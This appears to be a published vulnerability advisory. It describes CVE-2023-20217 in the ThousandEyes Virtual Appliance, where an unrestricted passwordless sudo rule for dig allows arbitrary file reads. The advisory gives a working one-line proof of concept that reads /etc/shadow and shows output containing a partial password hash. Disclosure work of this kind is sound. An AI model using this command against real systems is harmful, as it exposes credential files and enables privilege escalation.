Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Read via sudo dig

Vulnerability Details

Affected Vendor: ThousandEyes
Affected Product: ThousandEyes Enterprise Agent Virtual Appliance
Affected Version: thousandeyes-va-64-18.04 0.218
Platform: Linux / Ubuntu 18.04
CWE Classification: CWE-1395: Dependency on Vulnerable
Third-Party Component,
CWE-1220: Insufficient Granularity of
Access Control
CVE ID: CVE-2023-20217

Vulnerability Description

An insecure sudo configuration permits a low-privilege user
to read root-only files via the ‘dig’ command without a
password.

Technical Description

The ThousandEyes Virtual Appliance is distributed with a
restrictive set of commands that can be executed via sudo,
without having to provide the password for the ‘thousandeyes’
account. However, the ability to execute dig via sudo,
allows for reading of arbitrary files using dig’s “batch”
mode. This mode allows a user to specify a file of requests,
one per line. The dig command will read the file with elevated
privileges and display the resulting queries (i.e. file
contents) back to the user.

thousandeyes@thousandeyes-va:~$ id
uid=1000(thousandeyes) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)
thousandeyes@thousandeyes-va:~$ sudo -l
Matching Defaults entries for thousandeyes on thousandeyes-va:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User thousandeyes may run the following commands on thousandeyes-va:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /bin/systemctl start te-va, /bin/systemctl stop te-va, /bin/systemctl restart te-va, /bin/systemctl status te-va, /bin/systemctl start te-agent, /bin/systemctl stop
        te-agent, /bin/systemctl restart te-agent, /bin/systemctl status te-agent, /bin/systemctl start te-browserbot, /bin/systemctl stop te-browserbot, /bin/systemctl restart
        te-browserbot, /bin/systemctl status te-browserbot, /sbin/reboot, sudoedit /etc/hosts, /usr/bin/dig, /usr/bin/lsof, /usr/bin/apt-get update, /usr/bin/apt-get install te-agent,
        /usr/bin/apt-get install te-browserbot, /usr/bin/apt-get install te-va, /usr/bin/apt-get install te-pa, /usr/bin/apt-get install te-va-unlock, /usr/bin/apt-get install
        te-intl-fonts, /usr/bin/apt-get install te-agent-utils, /usr/bin/apt-get install ntpdate, /usr/bin/apt-cache, /usr/bin/te-*, /usr/local/bin/te-*, /usr/local/sbin/te-*
    (root) NOPASSWD: /usr/sbin/ntpdate, /usr/sbin/traceroute, /usr/sbin/tcpdump

Here we see that dig is available as root with no password,
and no restrictions on the arguments it can be passed.

thousandeyes@thousandeyes-va:~$ sudo /usr/bin/dig -f /etc/shadow

; <<>> DiG 9.11.3-1ubuntu1.17-Ubuntu <<>> root:!:19145:0:99999:7:::
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 40036
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;root:!:19145:0:99999:7:::.	IN	A

;; Query time: 0 msec
;; SERVER: 127.0.0.53#53(127.0.0.53)
;; WHEN: Fri Mar 31 08:00:38 UTC 2023
;; MSG SIZE  rcvd: 54

; <<>> DiG 9.11.3-1ubuntu1.17-Ubuntu <<>> daemon:!*:18885:0:99999:7:::
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 32743
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;daemon:!*:18885:0:99999:7:::.	IN	A
...
;thousandeyes:$6$qvB7Zfsh1fFCuBM9$l3X3Gj/7v.IY54N5YMFj5hpd.Fb...
...

Mitigation and Remediation Recommendation

The vendor has released a version which remediates the described
vulnerability. Release notes are available at:

https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-te-va-priv-esc-PUdgrx8E

Credit

This vulnerability was discovered by Jim Becher and Hank
Leininger of KoreLogic, Inc.

Disclosure Timeline

2023.04.26 - KoreLogic submits vulnerability details to Cisco.
2023.04.26 - Cisco acknowledges receipt and the intention to
investigate.
2023.05.04 - Cisco notifies KoreLogic that a remediation for this
vulnerability is expected to be available within
90 days.
2023.06.30 - 45 business days have elapsed since KoreLogic reported
this vulnerability to the vendor.
2023.07.11 - Cisco informs KoreLogic that the issue has been
remediated in the latest ThousandEyes Virtual
Appliance and a public advisory will be released
2023.08.16.
2023.07.24 - 60 business days have elapsed since KoreLogic reported
this vulnerability to the vendor.
2023.08.09 - Cisco provides KoreLogic with CVE-2023-20217 to
track this vulnerability.
2023.08.16 - Cisco public acknowledgement.
2023.08.17 - KoreLogic public disclosure.

Proof of Concept

See 3. Technical Description.